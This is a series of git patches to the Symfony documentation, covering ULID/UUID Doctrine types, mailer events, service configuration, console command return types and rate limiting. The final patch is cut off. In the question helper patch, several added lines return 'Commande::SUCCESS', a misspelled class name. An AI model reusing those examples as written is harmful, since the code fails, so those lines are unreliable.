         #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
         private $id;
@@ -338,6 +344,8 @@ of the ULID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Symfony\Bridge\Doctrine\Types\UlidType;
+
     class ProductRepository extends ServiceEntityRepository
     {
         // ...
@@ -346,8 +354,8 @@ of the ULID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
-                ->setParameter('user', $user->getUlid(), 'ulid')
+                // add UlidType::NAME as the third argument to tell Doctrine that this is a ULID
+                ->setParameter('user', $user->getUlid(), UlidType::NAME)
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine

From 70cf267271e7baf613a9a45e7a8273e879186a62 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:06:34 +0200
Subject: [PATCH 3570/7107] Add the versionadded directives

---
 components/uid.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index ebc031fd50b..8e78fe76da4 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -148,6 +148,10 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
+.. versionadded:: 6.2
+
+    The ``UuidType::NAME`` constant was introduced in Symfony 6.2.
+
 There's also a Doctrine generator to help auto-generate UUID values for the
 entity primary keys::
 
@@ -309,6 +313,10 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
+.. versionadded:: 6.2
+
+    The ``UlidType::NAME`` constant was introduced in Symfony 6.2.
+
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 

From fcd3d4b1af251da74b13b29f3e5f3e3f5cf7196d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:26:27 +0200
Subject: [PATCH 3571/7107] Add the versionadded directive

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d31f0c92f64..2af23cfd7b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1300,9 +1300,13 @@ collect_serializer_data
 
 **type**: ``boolean`` **default**: ``false``
 
-This option enables the serializer data collector and profiler panel. If set
-to ``true``, all normalizers and encoders are decorated by traceable implementations
-that are meant to collect profiling information about them.
+Set this option to ``true`` to enable the serializer data collector and its
+profiler panel. When this option is ``true``, all normalizers and encoders are
+decorated by traceable implementations that collect profiling information about them.
+
+.. versionadded:: 6.1
+
+    The ``collect_serializer_data`` option was introduced in Symfony 6.1.
 
 rate_limiter
 ~~~~~~~~~~~~

From 11abc81c0cb4d5c7f14583f24744b4e9ca0e7f4d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:41:04 +0200
Subject: [PATCH 3572/7107] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6546657d18b..1c9ce35e385 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -877,7 +877,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
-    To not autocreate any queues, you can configure a transport with `queues: []`.
+    To not autocreate any queues, you can configure a transport with ``queues: []``.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues, binding keys and more. See the documentation on

From 70fa4c0af8cc5a3dfde5d185a1d5e6f1531b972f Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Fri, 22 Apr 2022 11:25:28 +0200
Subject: [PATCH 3573/7107] Add event subscriber example to mailer
 documentation

---
 mailer.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9f26c769d82..97eae836c00 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1021,6 +1021,39 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+Events
+------
+
+MessageEvent
+~~~~~~~~~~~~
+
+The MessageEvent allows the transformation of a Message and the Envelope before the email is sent::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\MessageEvent;
+    use Symfony\Component\Mime\Email;
+
+    class MailerSubscriber implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents()
+        {
+            return [
+                MessageEvent::class => 'onMessage',
+            ];
+        }
+
+        public function onMessage(MessageEvent $event): void
+        {
+            $message = $event->getMessage();
+            if (!$message instanceof Email) {
+                return;
+            }
+
+            // do something with the message
+        }
+    }
+
+
 Development & Debugging
 -----------------------
 

From f4202ee0d7471c4add9836bc447df1eb4842d942 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:50:38 +0200
Subject: [PATCH 3574/7107] Tweaks

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec1ef2e8f60..9f81cedc91a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1024,13 +1024,14 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
-Events
-------
+Mailer Events
+-------------
 
 MessageEvent
 ~~~~~~~~~~~~
 
-The MessageEvent allows the transformation of a Message and the Envelope before the email is sent::
+``MessageEvent`` allows to change the Message and the Envelope before the email
+is sent::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\MessageEvent;
@@ -1056,7 +1057,6 @@ The MessageEvent allows the transformation of a Message and the Envelope before
         }
     }
 
-
 Development & Debugging
 -----------------------
 

From 74e436bf8e83c2f6a60403986adfa2f0cc370542 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Aug 2022 10:01:21 +0200
Subject: [PATCH 3575/7107] [Console] Minor grammar fix

---
 console/coloring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index f312753af51..a481b7650ff 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,7 +58,7 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     .. versionadded:: 6.2
 
-        The support of 256-color terminals was introduced in Symfony 6.2.
+        The support for 256-color terminals was introduced in Symfony 6.2.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors

From 2558f616236b41ce2b6feb1f2f83ab464bb5b5bb Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 13 Aug 2022 11:24:22 +0200
Subject: [PATCH 3576/7107] [Lock] Add classes's link

Add link to Link and Key classes
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 60b53a3a906..c64a5cc2271 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -77,7 +77,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 Serializing Locks
 ------------------
 
-The ``Key`` contains the state of the ``Lock`` and can be serialized. This
+The :class:`Symfony\\Component\\Lock\\Key` contains the state of the :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
 continue the job in another process using the same lock::
 

From 3826710ce84f09dec8a455dd73b6a72f59fff848 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 13 Aug 2022 13:33:40 +0200
Subject: [PATCH 3577/7107] [Lock] Specify default ttl

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 60b53a3a906..988d7b7af97 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -145,7 +145,7 @@ job; if it's too long and the process crashes before calling the ``release()``
 method, the resource will stay locked until the timeout::
 
     // ...
-    // create an expiring lock that lasts 30 seconds
+    // create an expiring lock that lasts 30 seconds (default is 300.0)
     $lock = $factory->createLock('charts-generation', 30);
 
     if (!$lock->acquire()) {

From 7261de9c1d025b78b6ed8121a8d784c864ce5ab2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 13 Aug 2022 13:51:18 +0200
Subject: [PATCH 3578/7107] Trying to fix code sample syntax

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..2098b9c1efd 100644
--- a/security.rst
+++ b/security.rst
@@ -1746,7 +1746,7 @@ Next, you need to create a route for this URL (but not a controller):
             <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From b89847e83d3a467b2969c0cd3a13a4fccac599a0 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Sat, 13 Aug 2022 21:21:28 +0200
Subject: [PATCH 3579/7107] Update service documentation with udpate recipe
 files

---
 service_container.rst | 35 +++++++++++++++++++----------------
 1 file changed, 19 insertions(+), 16 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ddb81243ccd..8eaed328cc0 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -170,8 +170,11 @@ each time you ask for it.
                 # makes classes in src/ available to be used as services
                 # this creates a service per class whose id is the fully-qualified class name
                 App\:
-                    resource: '../src/*'
-                    exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                    resource: '../src/'
+                    exclude:
+                        - '../src/DependencyInjection/'
+                        - '../src/Entity/'
+                        - '../src/Kernel.php'
 
                 # ...
 
@@ -190,7 +193,7 @@ each time you ask for it.
 
                     <!-- makes classes in src/ available to be used as services -->
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                    <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
 
                     <!-- ... -->
 
@@ -212,8 +215,8 @@ each time you ask for it.
 
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
-                $services->load('App\\', '../src/*')
-                    ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+                $services->load('App\\', '../src/')
+                    ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
             };
 
     .. tip::
@@ -425,8 +428,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
             # same as before
             App\:
-                resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                resource: '../src/'
+                exclude: '../src/{DependencyInjection,Entity,Kernel.php}'
 
             # explicitly configure the service
             App\Service\SiteUpdateManager:
@@ -448,8 +451,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
                 <!-- Same as before -->
 
                 <prototype namespace="App\"
-                    resource="../src/*"
-                    exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"
+                    resource="../src/"
+                    exclude="../src/{DependencyInjection,Entity,Kernel.php}"
                 />
 
                 <!-- Explicitly configure the service -->
@@ -470,8 +473,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
             // ...
 
             // same as before
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/')
+                ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
 
             $services->set(SiteUpdateManager::class)
                 ->arg('$adminEmail', 'manager@example.com')
@@ -956,8 +959,8 @@ key. For example, the default Symfony configuration contains this:
             # makes classes in src/ available to be used as services
             # this creates a service per class whose id is the fully-qualified class name
             App\:
-                resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                resource: '../src/'
+                exclude: '../src/{DependencyInjection,Entity,Kernel.php}'
 
     .. code-block:: xml
 
@@ -971,7 +974,7 @@ key. For example, the default Symfony configuration contains this:
             <services>
                 <!-- ... same as before -->
 
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
             </services>
         </container>
 
@@ -985,8 +988,8 @@ key. For example, the default Symfony configuration contains this:
 
             // makes classes in src/ available to be used as services
             // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/')
+                ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
         };
 
 .. tip::

From 98f9219205163447c578a06d801c654a407274e3 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 13:10:36 +0200
Subject: [PATCH 3580/7107] [Routing] add missing action return hints

Add missing return hints
---
 routing.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index afe5a5d790d..8f98f8a6e12 100644
--- a/routing.rst
+++ b/routing.rst
@@ -80,7 +80,7 @@ do so, create a :doc:`controller class </controller>` like the following:
             /**
              * @Route("/blog", name="blog_list")
              */
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -97,7 +97,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         class BlogController extends AbstractController
         {
             #[Route('/blog', name: 'blog_list')]
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -1045,7 +1045,7 @@ optional ``priority`` parameter in those routes to control their priority:
              *
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -1055,7 +1055,7 @@ optional ``priority`` parameter in those routes to control their priority:
              *
              * @Route("/blog/list", name="blog_list", priority=2)
              */
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -1075,7 +1075,7 @@ optional ``priority`` parameter in those routes to control their priority:
              * This route has a greedy pattern and is defined first.
              */
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -1084,7 +1084,7 @@ optional ``priority`` parameter in those routes to control their priority:
              * This route could not be matched without defining a higher priority than 0.
              */
             #[Route('/blog/list', name: 'blog_list', priority: 2)]
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -2493,7 +2493,7 @@ session shouldn't be used when matching a request:
             /**
              * @Route("/", name="homepage", stateless=true)
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2510,7 +2510,7 @@ session shouldn't be used when matching a request:
         class MainController extends AbstractController
         {
             #[Route('/', name: 'homepage', stateless: true)]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }

From 3e95b3e8f821a585fa46a4fecd236da2f621a449 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 15:19:45 +0200
Subject: [PATCH 3581/7107] Adding missing `use`

---
 security/custom_authenticator.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..6865eb28f01 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -261,6 +261,7 @@ The following credential classes are supported by default:
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
 
+        use Symfony\Component\Security\Core\User\UserInterface;
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
 
         // ...

From f72042d261fddd89dd7689d7348f2832d055f153 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 17:01:04 +0200
Subject: [PATCH 3582/7107] Adding type hint

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..b87fd164c1f 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function ($userIdentifier) {
+                    new UserBadge($email, function (string $userIdentifier) {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials

From cf1cd12e7a8f0af41545f07909610fcc3618157f Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 18:01:06 +0200
Subject: [PATCH 3583/7107] [Console] add SignalableCommandInterface link

Add SignalableCommandInterface link & return hint for handleSignal
---
 components/console/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 6b7078b2c11..100bc0084bc 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -190,7 +190,7 @@ Listeners receive a
 
 If you use the Console component inside a Symfony application, commands can
 handle signals themselves. To do so, implement the
-``SignalableCommandInterface`` and subscribe to one or more signals::
+:class:`Symfony\\Component\\Console\\Command\\SignalableCommandInterface` and subscribe to one or more signals::
 
     // src/Command/SomeCommand.php
     namespace App\Command;
@@ -208,7 +208,7 @@ handle signals themselves. To do so, implement the
             return [\SIGINT, \SIGTERM];
         }
 
-        public function handleSignal(int $signal)
+        public function handleSignal(int $signal): void
         {
             if (\SIGINT === $signal) {
                 // ...

From 4361e9e16d57190daf9193d94a144f2347e6d6a4 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 20:53:37 +0200
Subject: [PATCH 3584/7107] [Console] Add return for execute()

Return value of execute() must be of the type int
---
 components/console/helpers/table.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 8af80055536..7c75b4808db 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -28,7 +28,7 @@ set the headers, set the rows and then render the table::
 
     class SomeCommand extends Command
     {
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $table = new Table($output);
             $table
@@ -41,6 +41,8 @@ set the headers, set the rows and then render the table::
                 ])
             ;
             $table->render();
+            
+            return Command::SUCCESS;
         }
     }
 
@@ -406,7 +408,7 @@ The only requirement to append rows is that the table must be rendered inside a
 
     class SomeCommand extends Command
     {
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $section = $output->section();
             $table = new Table($section);
@@ -415,6 +417,8 @@ The only requirement to append rows is that the table must be rendered inside a
             $table->render();
 
             $table->appendRow(['Symfony']);
+            
+            return Command::SUCCESS;
         }
     }
 

From 11b4dbdab659fa345598159b1a866ec383e94850 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 22:59:47 +0200
Subject: [PATCH 3585/7107] [Console] Add return hint

Add return hint for execute() & add return Command::SUCCESS as return.
---
 components/console/helpers/questionhelper.rst | 68 +++++++++++++++----
 1 file changed, 55 insertions(+), 13 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index ff15953dc06..a4d61352745 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -34,7 +34,7 @@ the following to your command::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $helper = $this->getHelper('question');
             $question = new ConfirmationQuestion('Continue with this action?', false);
@@ -75,12 +75,16 @@ if you want to know a bundle name, you can add this to your command::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -99,7 +103,7 @@ from a predefined list::
     use Symfony\Component\Console\Question\ChoiceQuestion;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -115,6 +119,8 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
+        
+        return Commande::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -142,7 +148,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
     use Symfony\Component\Console\Question\ChoiceQuestion;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -155,6 +161,8 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
+        
+        return Commande::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -172,7 +180,7 @@ will be autocompleted as the user types::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -182,6 +190,10 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -191,7 +203,7 @@ provide a callback function to dynamically generate suggestions::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $helper = $this->getHelper('question');
 
@@ -217,6 +229,10 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
+        
+        // ... do something with the filePath
+        
+        return Commande::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -228,7 +244,7 @@ You can also specify if you want to not trim the answer by setting it directly w
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -237,6 +253,10 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
+        
+        // ... do something with the name
+        
+        return Commande::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -255,7 +275,7 @@ the response to a question should allow multiline answers by passing ``true`` to
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -264,6 +284,10 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
+        
+        // ... do something with the answer
+        
+        return Commande::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -278,7 +302,7 @@ convenient for passwords::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -288,6 +312,10 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
+        
+        // ... do something with the password
+        
+        return Commande::SUCCESS;
     }
 
 .. caution::
@@ -311,13 +339,15 @@ convenient for passwords::
         use Symfony\Component\Console\Question\ChoiceQuestion;
 
         // ...
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
             $helper = $this->getHelper('question');
             QuestionHelper::disableStty();
 
             // ...
+            
+            return Commande::SUCCESS;
         }
 
 Normalizing the Answer
@@ -333,7 +363,7 @@ method::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -345,6 +375,10 @@ method::
         });
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 .. caution::
@@ -367,7 +401,7 @@ method::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -385,6 +419,10 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -423,7 +461,7 @@ You can also use a validator with a hidden question::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -443,6 +481,10 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
+        
+        // ... do something with the password
+        
+        return Commande::SUCCESS;
     }
 
 Testing a Command that Expects Input

From b325b4fbeb087928b42855e834f8ef7c8c3f987f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 23:05:41 +0200
Subject: [PATCH 3586/7107] Deleting duplicate "default"

Since you cannot configure the ``5 * max_attempts`` part, this is an unnecessary duplication.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..78f1a3bb52a 100644
--- a/security.rst
+++ b/security.rst
@@ -1470,7 +1470,7 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-By default, login attempts are limited on ``max_attempts`` (default: 5)
+Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without

From aabb62e72fc8173f454efe82564ece273f138dbc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 00:50:08 +0200
Subject: [PATCH 3587/7107] Removing 2 distracting scenarios

Reason: Too many numbers are only distracting from the message - anybody can image that all numbers are just arbitrary examples...

Other problem: The axis legends "1 hour window" in the SVG are overlapping: https://symfony.com/doc/5.4/rate_limiter.html#fixed-window-rate-limiter
Maybe either reduce the font size, or reword to just "window"
---
 rate_limiter.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..a5b73ac4735 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -35,8 +35,7 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
-minutes).
+interval of time.
 
 In the diagram below, the limit is set to "5 tokens per hour". Each window
 starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
@@ -48,11 +47,11 @@ squares).
     <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example,
+it can overload the server at the window edges. In this example,
 there were 6 accepted requests between 11:00 and 12:00.
 
 This is more significant with bigger limits. For instance, with 5,000 requests
-per hour, a user could make the 4,999 requests in the last minute of some
+per hour, a user could make 4,999 requests in the last minute of some
 hour and another 5,000 requests during the first minute of the next hour,
 making 9,999 requests in total in two minutes and possibly overloading the
 server. These periods of excessive usage are called "bursts".

From 62c42202fd4b9dfa84da93ea6940f82fae3ed15d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 01:32:43 +0200
Subject: [PATCH 3588/7107] Adding note box about valid values for "interval"

Copied from https://symfony.com/doc/5.4/rate_limiter.html#configuration
---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..d3ec2537693 100644
--- a/security.rst
+++ b/security.rst
@@ -1466,6 +1466,12 @@ You must enable this using the ``login_throttling`` setting:
             ;
         };
 
+.. note::
+
